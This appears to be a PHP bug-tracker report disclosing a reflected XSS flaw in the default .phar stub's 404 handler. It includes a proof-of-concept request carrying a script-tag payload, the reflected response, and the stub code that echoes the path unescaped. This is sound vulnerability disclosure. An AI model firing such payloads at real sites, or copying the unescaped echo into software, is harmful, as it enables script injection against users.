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[2017-06-19 18:15 UTC] passownz at gmail dot com
Description: ------------ Hi, When creating a .phar file and configuring apache to handle phar files using php, when accessing invalid page the page name is reflected back to the user in the 404 response. this user input is not being sanitized and therefor it is vulnerable to a reflected XSS. meaning, every site which configured to run .phar files using php is vulnerable. Patches74782patch (last revision 2018-10-22 05:52 UTC by 1246196870 at qq dot com)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
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Last updated: Thu Nov 21 12:01:29 2024 UTC |
I just added the (ar) file to the php5.6.conf file in the apache mods-enabled dir as follows: <FilesMatch ".+\.ph(ar|p[3457]?|t|tml)$"> SetHandler application/x-httpd-php </FilesMatch> Thanks.REQUEST: ----------------------- GET /myapp.phar/%3cscript%3ealert()%3c/script%3e HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 RESPONSE: -------------- HTTP/1.0 404 Not Found Date: Tue, 20 Jun 2017 07:52:21 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 138 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <title>File Not Found</title> </head> <body> <h1>404 - File /<script>alert()</script> Not Found</h1> </body> </html> The root cause of the vulnerability is when php generates .phar files it also adds a piece of code that handles the case where the requested file in the archive couldn't be found, as can be seen in the following code snippet: $a = realpath(Extract_Phar::$temp . DIRECTORY_SEPARATOR . $pt); if (!$a || strlen(dirname($a)) < strlen(Extract_Phar::$temp)) { header('HTTP/1.0 404 Not Found'); echo "<html>\n <head>\n <title>File Not Found<title>\n </head>\n <body>\n <h1>404 - File ", $pt, " Not Found</h1>\n </body>\n</html>"; exit; } $pt variable contains the user's requested page, and as can be seen it is being echoed back as is in the 404 response.Some more info, this is how i created the phar file: <?php $srcRoot = "~/myapp/src"; $buildRoot = "~/myapp/build"; $phar = new Phar($buildRoot . "/myapp.phar", FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME, "myapp.phar"); $phar["index.php"] = file_get_contents($srcRoot . "/index.php"); $phar["common.php"] = file_get_contents($srcRoot . "/common.php"); $phar->setStub($phar->createDefaultStub("index.php")); copy($srcRoot . "/config.ini", $buildRoot . "/config.ini");